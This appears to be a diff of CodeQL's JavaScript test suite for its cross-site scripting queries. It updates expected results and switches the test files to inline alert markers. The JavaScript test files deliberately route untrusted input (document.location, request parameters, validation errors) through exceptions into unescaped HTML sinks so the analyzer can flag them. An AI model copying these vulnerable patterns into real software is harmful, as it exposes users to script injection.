+| exception-xss.js:180:10:180:22 | req.params.id | exception-xss.js:180:26:180:30 | error | provenance | Config |
+| exception-xss.js:180:26:180:30 | error | exception-xss.js:182:19:182:23 | error | provenance |  |
 nodes
 | ajv.js:11:18:11:33 | ajv.errorsText() | semmle.label | ajv.errorsText() |
 | ajv.js:24:18:24:26 | val.error | semmle.label | val.error |
@@ -79,81 +173,6 @@ nodes
 | exception-xss.js:180:10:180:22 | req.params.id | semmle.label | req.params.id |
 | exception-xss.js:180:26:180:30 | error | semmle.label | error |
 | exception-xss.js:182:19:182:23 | error | semmle.label | error |
-edges
-| exception-xss.js:2:6:2:28 | foo | exception-xss.js:9:11:9:13 | foo | provenance |  |
-| exception-xss.js:2:6:2:28 | foo | exception-xss.js:15:9:15:11 | foo | provenance |  |
-| exception-xss.js:2:6:2:28 | foo | exception-xss.js:21:11:21:13 | foo | provenance |  |
-| exception-xss.js:2:6:2:28 | foo | exception-xss.js:33:19:33:21 | foo | provenance |  |
-| exception-xss.js:2:6:2:28 | foo | exception-xss.js:46:16:46:18 | foo | provenance |  |
-| exception-xss.js:2:6:2:28 | foo | exception-xss.js:81:16:81:18 | foo | provenance |  |
-| exception-xss.js:2:6:2:28 | foo | exception-xss.js:89:11:89:13 | foo | provenance |  |
-| exception-xss.js:2:6:2:28 | foo | exception-xss.js:95:12:95:14 | foo | provenance |  |
-| exception-xss.js:2:6:2:28 | foo | exception-xss.js:102:12:102:14 | foo | provenance |  |
-| exception-xss.js:2:12:2:28 | document.location | exception-xss.js:2:6:2:28 | foo | provenance |  |
-| exception-xss.js:4:17:4:17 | x | exception-xss.js:5:11:5:11 | x | provenance |  |
-| exception-xss.js:9:11:9:13 | foo | exception-xss.js:10:11:10:11 | e | provenance | Config |
-| exception-xss.js:10:11:10:11 | e | exception-xss.js:11:18:11:18 | e | provenance |  |
-| exception-xss.js:15:3:15:12 | exceptional return of inner(foo) | exception-xss.js:16:11:16:11 | e | provenance |  |
-| exception-xss.js:15:9:15:11 | foo | exception-xss.js:4:17:4:17 | x | provenance |  |
-| exception-xss.js:15:9:15:11 | foo | exception-xss.js:15:3:15:12 | exceptional return of inner(foo) | provenance | Config |
-| exception-xss.js:16:11:16:11 | e | exception-xss.js:17:18:17:18 | e | provenance |  |
-| exception-xss.js:21:11:21:13 | foo | exception-xss.js:21:11:21:21 | foo + "bar" | provenance |  |
-| exception-xss.js:21:11:21:21 | foo + "bar" | exception-xss.js:22:11:22:11 | e | provenance | Config |
-| exception-xss.js:22:11:22:11 | e | exception-xss.js:23:18:23:18 | e | provenance |  |
-| exception-xss.js:33:11:33:22 | ["bar", foo] [1] | exception-xss.js:34:11:34:11 | e | provenance | Config |
-| exception-xss.js:33:19:33:21 | foo | exception-xss.js:33:11:33:22 | ["bar", foo] [1] | provenance |  |
-| exception-xss.js:34:11:34:11 | e | exception-xss.js:35:18:35:18 | e | provenance |  |
-| exception-xss.js:38:16:38:16 | x | exception-xss.js:39:9:39:9 | x | provenance |  |
-| exception-xss.js:39:9:39:9 | x | exception-xss.js:39:3:39:10 | exceptional return of deep2(x) | provenance | Config |
-| exception-xss.js:39:9:39:9 | x | exception-xss.js:41:17:41:17 | x | provenance |  |
-| exception-xss.js:41:17:41:17 | x | exception-xss.js:42:9:42:9 | x | provenance |  |
-| exception-xss.js:42:9:42:9 | x | exception-xss.js:4:17:4:17 | x | provenance |  |
-| exception-xss.js:42:9:42:9 | x | exception-xss.js:42:3:42:10 | exceptional return of inner(x) | provenance | Config |
-| exception-xss.js:46:3:46:19 | exceptional return of deep("bar" + foo) | exception-xss.js:47:11:47:11 | e | provenance |  |
-| exception-xss.js:46:8:46:18 | "bar" + foo | exception-xss.js:38:16:38:16 | x | provenance |  |
-| exception-xss.js:46:8:46:18 | "bar" + foo | exception-xss.js:46:3:46:19 | exceptional return of deep("bar" + foo) | provenance | Config |
-| exception-xss.js:46:16:46:18 | foo | exception-xss.js:46:8:46:18 | "bar" + foo | provenance |  |
-| exception-xss.js:47:11:47:11 | e | exception-xss.js:48:18:48:18 | e | provenance |  |
-| exception-xss.js:74:28:74:28 | x | exception-xss.js:75:10:75:10 | x | provenance |  |
-| exception-xss.js:75:10:75:10 | x | exception-xss.js:4:17:4:17 | x | provenance |  |
-| exception-xss.js:75:10:75:10 | x | exception-xss.js:75:4:75:11 | exceptional return of inner(x) | provenance | Config |
-| exception-xss.js:81:3:81:19 | exceptional return of myWeirdInner(foo) | exception-xss.js:82:11:82:11 | e | provenance |  |
-| exception-xss.js:81:16:81:18 | foo | exception-xss.js:74:28:74:28 | x | provenance |  |
-| exception-xss.js:81:16:81:18 | foo | exception-xss.js:81:3:81:19 | exceptional return of myWeirdInner(foo) | provenance | Config |
-| exception-xss.js:82:11:82:11 | e | exception-xss.js:83:18:83:18 | e | provenance |  |
-| exception-xss.js:89:11:89:13 | foo | exception-xss.js:89:11:89:26 | foo.match(/foo/) | provenance |  |
-| exception-xss.js:89:11:89:26 | foo.match(/foo/) | exception-xss.js:90:11:90:11 | e | provenance | Config |
-| exception-xss.js:90:11:90:11 | e | exception-xss.js:91:18:91:18 | e | provenance |  |
-| exception-xss.js:95:11:95:22 | [foo, "bar"] [0] | exception-xss.js:96:11:96:11 | e | provenance | Config |
-| exception-xss.js:95:12:95:14 | foo | exception-xss.js:95:11:95:22 | [foo, "bar"] [0] | provenance |  |
-| exception-xss.js:96:11:96:11 | e | exception-xss.js:97:18:97:18 | e | provenance |  |
-| exception-xss.js:102:12:102:14 | foo | exception-xss.js:106:11:106:11 | e | provenance | Config |
-| exception-xss.js:106:11:106:11 | e | exception-xss.js:107:18:107:18 | e | provenance |  |
-| exception-xss.js:117:11:117:23 | req.params.id | exception-xss.js:118:11:118:11 | e | provenance | Config |
-| exception-xss.js:118:11:118:11 | e | exception-xss.js:119:28:119:28 | e | provenance |  |
-| exception-xss.js:119:28:119:28 | e | exception-xss.js:119:12:119:28 | "Exception: " + e | provenance |  |
-| exception-xss.js:125:45:125:68 | documen ... .search | exception-xss.js:128:11:128:52 | session ... ssion') | provenance |  |
-| exception-xss.js:128:11:128:52 | session ... ssion') | exception-xss.js:129:11:129:11 | e | provenance | Config |
-| exception-xss.js:129:11:129:11 | e | exception-xss.js:130:18:130:18 | e | provenance |  |
-| exception-xss.js:136:10:136:22 | req.params.id | exception-xss.js:136:26:136:30 | error | provenance | Config |
-| exception-xss.js:136:26:136:30 | error | exception-xss.js:138:19:138:23 | error | provenance |  |
-| exception-xss.js:146:6:146:35 | foo | exception-xss.js:148:33:148:35 | foo | provenance |  |
-| exception-xss.js:146:6:146:35 | foo | exception-xss.js:153:8:153:10 | foo | provenance |  |
-| exception-xss.js:146:6:146:35 | foo | exception-xss.js:174:31:174:33 | foo | provenance |  |
-| exception-xss.js:146:12:146:35 | documen ... .search | exception-xss.js:146:6:146:35 | foo | provenance |  |
-| exception-xss.js:148:2:148:46 | new Pro ... solve)) [PromiseError] | exception-xss.js:148:55:148:55 | e | provenance |  |
-| exception-xss.js:148:33:148:35 | foo | exception-xss.js:148:2:148:46 | new Pro ... solve)) [PromiseError] | provenance | Config |
-| exception-xss.js:148:55:148:55 | e | exception-xss.js:149:18:149:18 | e | provenance |  |
-| exception-xss.js:153:8:153:10 | foo | exception-xss.js:154:11:154:11 | e | provenance | Config |
-| exception-xss.js:154:11:154:11 | e | exception-xss.js:155:18:155:18 | e | provenance |  |
-| exception-xss.js:170:17:170:23 | tainted | exception-xss.js:171:11:171:17 | tainted | provenance |  |
-| exception-xss.js:174:2:174:44 | new Pro ... solve)) [PromiseError] | exception-xss.js:174:53:174:53 | e | provenance |  |
-| exception-xss.js:174:25:174:43 | exceptional return of inner(foo, resolve) | exception-xss.js:174:2:174:44 | new Pro ... solve)) [PromiseError] | provenance |  |
-| exception-xss.js:174:31:174:33 | foo | exception-xss.js:170:17:170:23 | tainted | provenance |  |
-| exception-xss.js:174:31:174:33 | foo | exception-xss.js:174:25:174:43 | exceptional return of inner(foo, resolve) | provenance | Config |
-| exception-xss.js:174:53:174:53 | e | exception-xss.js:175:18:175:18 | e | provenance |  |
-| exception-xss.js:180:10:180:22 | req.params.id | exception-xss.js:180:26:180:30 | error | provenance | Config |
-| exception-xss.js:180:26:180:30 | error | exception-xss.js:182:19:182:23 | error | provenance |  |
 subpaths
 | exception-xss.js:15:9:15:11 | foo | exception-xss.js:4:17:4:17 | x | exception-xss.js:5:11:5:11 | x | exception-xss.js:15:3:15:12 | exceptional return of inner(foo) |
 | exception-xss.js:39:9:39:9 | x | exception-xss.js:41:17:41:17 | x | exception-xss.js:42:3:42:10 | exceptional return of inner(x) | exception-xss.js:39:3:39:10 | exceptional return of deep2(x) |
@@ -162,22 +181,3 @@ subpaths
 | exception-xss.js:75:10:75:10 | x | exception-xss.js:4:17:4:17 | x | exception-xss.js:5:11:5:11 | x | exception-xss.js:75:4:75:11 | exceptional return of inner(x) |
 | exception-xss.js:81:16:81:18 | foo | exception-xss.js:74:28:74:28 | x | exception-xss.js:75:4:75:11 | exceptional return of inner(x) | exception-xss.js:81:3:81:19 | exceptional return of myWeirdInner(foo) |
 | exception-xss.js:174:31:174:33 | foo | exception-xss.js:170:17:170:23 | tainted | exception-xss.js:171:11:171:17 | tainted | exception-xss.js:174:25:174:43 | exceptional return of inner(foo, resolve) |
-#select
-| ajv.js:11:18:11:33 | ajv.errorsText() | ajv.js:11:18:11:33 | ajv.errorsText() | ajv.js:11:18:11:33 | ajv.errorsText() | $@ is reinterpreted as HTML without escaping meta-characters. | ajv.js:11:18:11:33 | ajv.errorsText() | JSON schema validation error |
-| ajv.js:24:18:24:26 | val.error | ajv.js:24:18:24:26 | val.error | ajv.js:24:18:24:26 | val.error | $@ is reinterpreted as HTML without escaping meta-characters. | ajv.js:24:18:24:26 | val.error | JSON schema validation error |
-| exception-xss.js:11:18:11:18 | e | exception-xss.js:2:12:2:28 | document.location | exception-xss.js:11:18:11:18 | e | $@ is reinterpreted as HTML without escaping meta-characters. | exception-xss.js:2:12:2:28 | document.location | Exception text |
-| exception-xss.js:17:18:17:18 | e | exception-xss.js:2:12:2:28 | document.location | exception-xss.js:17:18:17:18 | e | $@ is reinterpreted as HTML without escaping meta-characters. | exception-xss.js:2:12:2:28 | document.location | Exception text |
-| exception-xss.js:23:18:23:18 | e | exception-xss.js:2:12:2:28 | document.location | exception-xss.js:23:18:23:18 | e | $@ is reinterpreted as HTML without escaping meta-characters. | exception-xss.js:2:12:2:28 | document.location | Exception text |
-| exception-xss.js:35:18:35:18 | e | exception-xss.js:2:12:2:28 | document.location | exception-xss.js:35:18:35:18 | e | $@ is reinterpreted as HTML without escaping meta-characters. | exception-xss.js:2:12:2:28 | document.location | Exception text |
-| exception-xss.js:48:18:48:18 | e | exception-xss.js:2:12:2:28 | document.location | exception-xss.js:48:18:48:18 | e | $@ is reinterpreted as HTML without escaping meta-characters. | exception-xss.js:2:12:2:28 | document.location | Exception text |
-| exception-xss.js:83:18:83:18 | e | exception-xss.js:2:12:2:28 | document.location | exception-xss.js:83:18:83:18 | e | $@ is reinterpreted as HTML without escaping meta-characters. | exception-xss.js:2:12:2:28 | document.location | Exception text |
-| exception-xss.js:91:18:91:18 | e | exception-xss.js:2:12:2:28 | document.location | exception-xss.js:91:18:91:18 | e | $@ is reinterpreted as HTML without escaping meta-characters. | exception-xss.js:2:12:2:28 | document.location | Exception text |
-| exception-xss.js:97:18:97:18 | e | exception-xss.js:2:12:2:28 | document.location | exception-xss.js:97:18:97:18 | e | $@ is reinterpreted as HTML without escaping meta-characters. | exception-xss.js:2:12:2:28 | document.location | Exception text |
-| exception-xss.js:107:18:107:18 | e | exception-xss.js:2:12:2:28 | document.location | exception-xss.js:107:18:107:18 | e | $@ is reinterpreted as HTML without escaping meta-characters. | exception-xss.js:2:12:2:28 | document.location | Exception text |
-| exception-xss.js:119:12:119:28 | "Exception: " + e | exception-xss.js:117:11:117:23 | req.params.id | exception-xss.js:119:12:119:28 | "Exception: " + e | $@ is reinterpreted as HTML without escaping meta-characters. | exception-xss.js:117:11:117:23 | req.params.id | Exception text |
-| exception-xss.js:130:18:130:18 | e | exception-xss.js:125:45:125:68 | documen ... .search | exception-xss.js:130:18:130:18 | e | $@ is reinterpreted as HTML without escaping meta-characters. | exception-xss.js:125:45:125:68 | documen ... .search | Exception text |
-| exception-xss.js:138:19:138:23 | error | exception-xss.js:136:10:136:22 | req.params.id | exception-xss.js:138:19:138:23 | error | $@ is reinterpreted as HTML without escaping meta-characters. | exception-xss.js:136:10:136:22 | req.params.id | Exception text |
-| exception-xss.js:149:18:149:18 | e | exception-xss.js:146:12:146:35 | documen ... .search | exception-xss.js:149:18:149:18 | e | $@ is reinterpreted as HTML without escaping meta-characters. | exception-xss.js:146:12:146:35 | documen ... .search | Exception text |
-| exception-xss.js:155:18:155:18 | e | exception-xss.js:146:12:146:35 | documen ... .search | exception-xss.js:155:18:155:18 | e | $@ is reinterpreted as HTML without escaping meta-characters. | exception-xss.js:146:12:146:35 | documen ... .search | Exception text |
-| exception-xss.js:175:18:175:18 | e | exception-xss.js:146:12:146:35 | documen ... .search | exception-xss.js:175:18:175:18 | e | $@ is reinterpreted as HTML without escaping meta-characters. | exception-xss.js:146:12:146:35 | documen ... .search | Exception text |
-| exception-xss.js:182:19:182:23 | error | exception-xss.js:180:10:180:22 | req.params.id | exception-xss.js:182:19:182:23 | error | $@ is reinterpreted as HTML without escaping meta-characters. | exception-xss.js:180:10:180:22 | req.params.id | Exception text |
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/ExceptionXss/ExceptionXss.qlref b/javascript/ql/test/query-tests/Security/CWE-079/ExceptionXss/ExceptionXss.qlref
index 5fae24d64c44..fc217c51197f 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/ExceptionXss/ExceptionXss.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-079/ExceptionXss/ExceptionXss.qlref
@@ -1 +1,2 @@
-Security/CWE-079/ExceptionXss.ql
\ No newline at end of file
+query: Security/CWE-079/ExceptionXss.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/ExceptionXss/ajv.js b/javascript/ql/test/query-tests/Security/CWE-079/ExceptionXss/ajv.js
index 36dd5181a1b5..43c6618430e2 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/ExceptionXss/ajv.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/ExceptionXss/ajv.js
@@ -8,7 +8,7 @@ ajv.addSchema({type: 'object', additionalProperties: {type: 'number'}}, 'pollDat
 
 app.post('/polldata', (req, res) => {
     if (!ajv.validate('pollData', req.body)) {
-        res.send(ajv.errorsText()); // NOT OK
+        res.send(ajv.errorsText()); // $ Alert
     }
 });
 
@@ -21,6 +21,6 @@ const joiSchema = joi.object().keys({
 app.post('/votedata', (req, res) => {
     const val = joiSchema.validate(req.body);
     if (val.error) {
-        res.send(val.error); // NOT OK
+        res.send(val.error); // $ Alert
     }
 });
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/ExceptionXss/exception-xss.js b/javascript/ql/test/query-tests/Security/CWE-079/ExceptionXss/exception-xss.js
index 150b9e204fda..68212b5c0dd4 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/ExceptionXss/exception-xss.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/ExceptionXss/exception-xss.js
@@ -1,5 +1,5 @@
 (function () {
-	var foo = document.location;
+	var foo = document.location; // $ Source
 
 	function inner(x) {
 		unknown(x);
@@ -8,31 +8,31 @@
 	try {
 		unknown(foo);
 	} catch (e) {
-		$('myId').html(e); // NOT OK!
+		$('myId').html(e); // $ Alert
 	}
 
 	try {
 		inner(foo);
 	} catch (e) {
-		$('myId').html(e); // NOT OK!
+		$('myId').html(e); // $ Alert
 	}
 
 	try {
 		unknown(foo + "bar");
 	} catch (e) {
-		$('myId').html(e); // NOT OK!
+		$('myId').html(e); // $ Alert
 	}
 
 	try {
 		unknown({ prop: foo });
 	} catch (e) {
-		$('myId').html(e); // NOT OK! - but not detected due to not tainting object that have a tainted propety. [INCONSISTENCY]
+		$('myId').html(e); // $ MISSING: Alert - but not detected due to not tainting object that have a tainted propety.
 	}
 
 	try {
 		unknown(["bar", foo]);
 	} catch (e) {
-		$('myId').html(e); // NOT OK!
+		$('myId').html(e); // $ Alert
 	}
 
 	function deep(x) {
@@ -45,13 +45,13 @@
 	try {
 		deep("bar" + foo);
 	} catch (e) {
-		$('myId').html(e); // NOT OK!
+		$('myId').html(e); // $ Alert
 	}
 
 	try {
 		var tmp = "bar" + foo;
 	} catch (e) {
-		$('myId').html(e); // OK 
+		$('myId').html(e);
 	}
 
 	function safe(x) {
@@ -61,13 +61,13 @@
 	try {
 		safe(foo);
 	} catch (e) {
-		$('myId').html(e); // OK 
+		$('myId').html(e);
 	}
 
 	try {
 		safe.call(null, foo);
 	} catch (e) {
-		$('myId').html(e); // OK 
+		$('myId').html(e);
 	}
 	var myWeirdInner;
 	try {
@@ -75,12 +75,12 @@
 			inner(x);
 		}
 	} catch (e) {
-		$('myId').html(e); // OK 
+		$('myId').html(e);
 	}
 	try {
 		myWeirdInner(foo);
 	} catch (e) {
-		$('myId').html(e); // NOT OK! 
+		$('myId').html(e); // $ Alert
 	}
 
 	$('myId').html(foo); // Direct leak, reported by other query.
@@ -88,13 +88,13 @@
 	try {
 		unknown(foo.match(/foo/));
 	} catch (e) {
-		$('myId').html(e); // NOT OK! 
+		$('myId').html(e); // $ Alert
 	}
 
 	try {
 		unknown([foo, "bar"]);
 	} catch (e) {
-		$('myId').html(e); // NOT OK! 
+		$('myId').html(e); // $ Alert
 	}
 
 	try {
@@ -104,7 +104,7 @@
 			// nothing
 		}
 	} catch (e) {
-		$('myId').html(e); // NOT OK! 
+		$('myId').html(e); // $ Alert
 	}
 });
 
@@ -114,57 +114,57 @@ var app = express();
 
 app.get('/user/:id', function (req, res) {
 	try {
-		unknown(req.params.id);
+		unknown(req.params.id); // $ Source
 	} catch (e) {
-		res.send("Exception: " + e); // NOT OK!
+		res.send("Exception: " + e); // $ Alert
 	}
 });
 
 
 (function () {
-	sessionStorage.setItem('exceptionSession', document.location.search);
+	sessionStorage.setItem('exceptionSession', document.location.search); // $ Source
 
 	try {
 		unknown(sessionStorage.getItem('exceptionSession'));
 	} catch (e) {
-		$('myId').html(e); // NOT OK
+		$('myId').html(e); // $ Alert
 	}
 })();
 
 
 app.get('/user/:id', function (req, res) {
-	unknown(req.params.id, (error, res) => {
+	unknown(req.params.id, (error, res) => { // $ Source
 		if (error) {
-			$('myId').html(error); // NOT OK
+			$('myId').html(error); // $ Alert
 			return;
 		}
-		$('myId').html(res); // OK (for now?)
+		$('myId').html(res); // OK - for now?
 	});
 });
 
 (function () {
-	var foo = document.location.search;
+	var foo = document.location.search; // $ Source
 
 	new Promise(resolve => unknown(foo, resolve)).catch((e) => {
-		$('myId').html(e); // NOT OK
+		$('myId').html(e); // $ Alert
 	});
 
 	try {
 		null[foo];
 	} catch (e) {
-		$('myId').html(e); // NOT OK
+		$('myId').html(e); // $ Alert
 	}
 
 	try {
 		unknown()[foo];
 	} catch (e) {
-		$('myId').html(e); // OK. We are not sure that `unknown()` is null-ish. 
+		$('myId').html(e); // OK - We are not sure that `unknown()` is null-ish.
 	}
 
 	try {
 		"foo"[foo]
 	} catch (e) {
-		$('myId').html(e); // OK
+		$('myId').html(e);
 	}
 
 	function inner(tainted, resolve) {
@@ -172,16 +172,16 @@ app.get('/user/:id', function (req, res) {
 	}
 
 	new Promise(resolve => inner(foo, resolve)).catch((e) => {
-		$('myId').html(e); // NOT OK
+		$('myId').html(e); // $ Alert
 	});
 })();
 
 app.get('/user/:id', function (req, res) {
-	unknown(req.params.id, (error, res) => {
+	unknown(req.params.id, (error, res) => { // $ Source
 		if (error) {
-			$('myId').html(error); // NOT OK
+			$('myId').html(error); // $ Alert
 		}
-		$('myId').html(res); // OK - does not contain an error, and `res` is otherwise unknown. 
+		$('myId').html(res); // OK - does not contain an error, and `res` is otherwise unknown.
 	});
 });
 
@@ -189,7 +189,7 @@ app.get('/user/:id', function (req, res) {
 	try {
 		res.send(req.params.id);
 	} catch(err) {
-		res.send(err); // OK (the above `res.send()` is already reported by js/xss)
+		res.send(err); // OK - (the above `res.send()` is already reported by js/xss)
 	}
 });
 
@@ -210,7 +210,7 @@ var fs = require("fs");
 		log.info(foo);
 		localStorage.setItem(foo);
 	} catch (e) {
-		$('myId').html(e); // OK
+		$('myId').html(e);
 	}
 	
 })();
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/ConsistencyReflectedXss.ql b/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/ConsistencyReflectedXss.ql
deleted file mode 100644
index 9019d53e10ed..000000000000
--- a/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/ConsistencyReflectedXss.ql
+++ /dev/null
@@ -1,3 +0,0 @@
-import javascript
-deprecated import utils.test.ConsistencyChecking
-import semmle.javascript.security.dataflow.ReflectedXssQuery as ReflectedXss
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/ReflectedXss.expected b/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/ReflectedXss.expected
index 9e842ab516ed..d85a90e4026a 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/ReflectedXss.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/ReflectedXss.expected
@@ -1,41 +1,101 @@
+#select
+| ReflectedXss.js:7:14:7:45 | "Unknow ... rams.id | ReflectedXss.js:7:33:7:45 | req.params.id | ReflectedXss.js:7:14:7:45 | "Unknow ... rams.id | Cross-site scripting vulnerability due to a $@. | ReflectedXss.js:7:33:7:45 | req.params.id | user-provided value |
+| ReflectedXss.js:16:12:16:39 | "Unknow ... rams.id | ReflectedXss.js:16:31:16:39 | params.id | ReflectedXss.js:16:12:16:39 | "Unknow ... rams.id | Cross-site scripting vulnerability due to a $@. | ReflectedXss.js:16:31:16:39 | params.id | user-provided value |
+| ReflectedXss.js:21:12:21:19 | req.body | ReflectedXss.js:21:12:21:19 | req.body | ReflectedXss.js:21:12:21:19 | req.body | Cross-site scripting vulnerability due to a $@. | ReflectedXss.js:21:12:21:19 | req.body | user-provided value |
+| ReflectedXss.js:22:12:22:27 | marked(req.body) | ReflectedXss.js:22:19:22:26 | req.body | ReflectedXss.js:22:12:22:27 | marked(req.body) | Cross-site scripting vulnerability due to a $@. | ReflectedXss.js:22:19:22:26 | req.body | user-provided value |
+| ReflectedXss.js:28:12:28:19 | req.body | ReflectedXss.js:28:12:28:19 | req.body | ReflectedXss.js:28:12:28:19 | req.body | Cross-site scripting vulnerability due to a $@. | ReflectedXss.js:28:12:28:19 | req.body | user-provided value |
+| ReflectedXss.js:33:12:33:18 | mytable | ReflectedXss.js:31:14:31:21 | req.body | ReflectedXss.js:33:12:33:18 | mytable | Cross-site scripting vulnerability due to a $@. | ReflectedXss.js:31:14:31:21 | req.body | user-provided value |
+| ReflectedXss.js:40:12:40:19 | req.body | ReflectedXss.js:40:12:40:19 | req.body | ReflectedXss.js:40:12:40:19 | req.body | Cross-site scripting vulnerability due to a $@. | ReflectedXss.js:40:12:40:19 | req.body | user-provided value |
+| ReflectedXss.js:41:12:41:39 | convert ... q.body) | ReflectedXss.js:41:31:41:38 | req.body | ReflectedXss.js:41:12:41:39 | convert ... q.body) | Cross-site scripting vulnerability due to a $@. | ReflectedXss.js:41:31:41:38 | req.body | user-provided value |
+| ReflectedXss.js:55:12:55:19 | req.body | ReflectedXss.js:55:12:55:19 | req.body | ReflectedXss.js:55:12:55:19 | req.body | Cross-site scripting vulnerability due to a $@. | ReflectedXss.js:55:12:55:19 | req.body | user-provided value |
+| ReflectedXss.js:64:16:64:19 | file | ReflectedXss.js:63:14:63:21 | req.body | ReflectedXss.js:64:16:64:19 | file | Cross-site scripting vulnerability due to a $@. | ReflectedXss.js:63:14:63:21 | req.body | user-provided value |
+| ReflectedXss.js:67:12:67:52 | remark( ... tring() | ReflectedXss.js:67:33:67:40 | req.body | ReflectedXss.js:67:12:67:52 | remark( ... tring() | Cross-site scripting vulnerability due to a $@. | ReflectedXss.js:67:33:67:40 | req.body | user-provided value |
+| ReflectedXss.js:71:12:71:65 | unified ... oString | ReflectedXss.js:71:48:71:55 | req.body | ReflectedXss.js:71:12:71:65 | unified ... oString | Cross-site scripting vulnerability due to a $@. | ReflectedXss.js:71:48:71:55 | req.body | user-provided value |
+| ReflectedXss.js:74:14:74:14 | f | ReflectedXss.js:73:20:73:27 | req.body | ReflectedXss.js:74:14:74:14 | f | Cross-site scripting vulnerability due to a $@. | ReflectedXss.js:73:20:73:27 | req.body | user-provided value |
+| ReflectedXss.js:82:12:82:19 | req.body | ReflectedXss.js:82:12:82:19 | req.body | ReflectedXss.js:82:12:82:19 | req.body | Cross-site scripting vulnerability due to a $@. | ReflectedXss.js:82:12:82:19 | req.body | user-provided value |
+| ReflectedXss.js:83:12:83:30 | snarkdown(req.body) | ReflectedXss.js:83:22:83:29 | req.body | ReflectedXss.js:83:12:83:30 | snarkdown(req.body) | Cross-site scripting vulnerability due to a $@. | ReflectedXss.js:83:22:83:29 | req.body | user-provided value |
+| ReflectedXss.js:84:12:84:31 | snarkdown2(req.body) | ReflectedXss.js:84:23:84:30 | req.body | ReflectedXss.js:84:12:84:31 | snarkdown2(req.body) | Cross-site scripting vulnerability due to a $@. | ReflectedXss.js:84:23:84:30 | req.body | user-provided value |
+| ReflectedXss.js:96:12:96:19 | req.body | ReflectedXss.js:96:12:96:19 | req.body | ReflectedXss.js:96:12:96:19 | req.body | Cross-site scripting vulnerability due to a $@. | ReflectedXss.js:96:12:96:19 | req.body | user-provided value |
+| ReflectedXss.js:97:12:97:38 | markdow ... q.body) | ReflectedXss.js:97:30:97:37 | req.body | ReflectedXss.js:97:12:97:38 | markdow ... q.body) | Cross-site scripting vulnerability due to a $@. | ReflectedXss.js:97:30:97:37 | req.body | user-provided value |
+| ReflectedXss.js:99:12:99:39 | markdow ... q.body) | ReflectedXss.js:99:31:99:38 | req.body | ReflectedXss.js:99:12:99:39 | markdow ... q.body) | Cross-site scripting vulnerability due to a $@. | ReflectedXss.js:99:31:99:38 | req.body | user-provided value |
+| ReflectedXss.js:102:12:102:84 | markdow ... q.body) | ReflectedXss.js:102:76:102:83 | req.body | ReflectedXss.js:102:12:102:84 | markdow ... q.body) | Cross-site scripting vulnerability due to a $@. | ReflectedXss.js:102:76:102:83 | req.body | user-provided value |
+| ReflectedXss.js:109:16:109:30 | request.query.p | ReflectedXss.js:109:16:109:30 | request.query.p | ReflectedXss.js:109:16:109:30 | request.query.p | Cross-site scripting vulnerability due to a $@. | ReflectedXss.js:109:16:109:30 | request.query.p | user-provided value |
+| ReflectedXss.js:121:30:121:73 | `${inva ... telist` | ReflectedXss.js:113:13:113:27 | keys: queryKeys | ReflectedXss.js:121:30:121:73 | `${inva ... telist` | Cross-site scripting vulnerability due to a $@. | ReflectedXss.js:113:13:113:27 | keys: queryKeys | user-provided value |
+| ReflectedXss.js:121:30:121:73 | `${inva ... telist` | ReflectedXss.js:115:31:115:45 | paramKeys?.keys | ReflectedXss.js:121:30:121:73 | `${inva ... telist` | Cross-site scripting vulnerability due to a $@. | ReflectedXss.js:115:31:115:45 | paramKeys?.keys | user-provided value |
+| ReflectedXssContentTypes.js:10:14:10:36 | "FOO: " ... rams.id | ReflectedXssContentTypes.js:10:24:10:36 | req.params.id | ReflectedXssContentTypes.js:10:14:10:36 | "FOO: " ... rams.id | Cross-site scripting vulnerability due to a $@. | ReflectedXssContentTypes.js:10:24:10:36 | req.params.id | user-provided value |
+| ReflectedXssContentTypes.js:20:14:20:36 | "FOO: " ... rams.id | ReflectedXssContentTypes.js:20:24:20:36 | req.params.id | ReflectedXssContentTypes.js:20:14:20:36 | "FOO: " ... rams.id | Cross-site scripting vulnerability due to a $@. | ReflectedXssContentTypes.js:20:24:20:36 | req.params.id | user-provided value |
+| ReflectedXssContentTypes.js:39:13:39:35 | "FOO: " ... rams.id | ReflectedXssContentTypes.js:39:23:39:35 | req.params.id | ReflectedXssContentTypes.js:39:13:39:35 | "FOO: " ... rams.id | Cross-site scripting vulnerability due to a $@. | ReflectedXssContentTypes.js:39:23:39:35 | req.params.id | user-provided value |
+| ReflectedXssContentTypes.js:70:12:70:34 | "FOO: " ... rams.id | ReflectedXssContentTypes.js:70:22:70:34 | req.params.id | ReflectedXssContentTypes.js:70:12:70:34 | "FOO: " ... rams.id | Cross-site scripting vulnerability due to a $@. | ReflectedXssContentTypes.js:70:22:70:34 | req.params.id | user-provided value |
+| ReflectedXssGood3.js:139:12:139:27 | escapeHtml3(url) | ReflectedXssGood3.js:135:15:135:27 | req.params.id | ReflectedXssGood3.js:139:12:139:27 | escapeHtml3(url) | Cross-site scripting vulnerability due to a $@. | ReflectedXssGood3.js:135:15:135:27 | req.params.id | user-provided value |
+| etherpad.js:11:12:11:19 | response | etherpad.js:9:16:9:30 | req.query.jsonp | etherpad.js:11:12:11:19 | response | Cross-site scripting vulnerability due to a $@. | etherpad.js:9:16:9:30 | req.query.jsonp | user-provided value |
+| formatting.js:6:14:6:47 | util.fo ... , evil) | formatting.js:4:16:4:29 | req.query.evil | formatting.js:6:14:6:47 | util.fo ... , evil) | Cross-site scripting vulnerability due to a $@. | formatting.js:4:16:4:29 | req.query.evil | user-provided value |
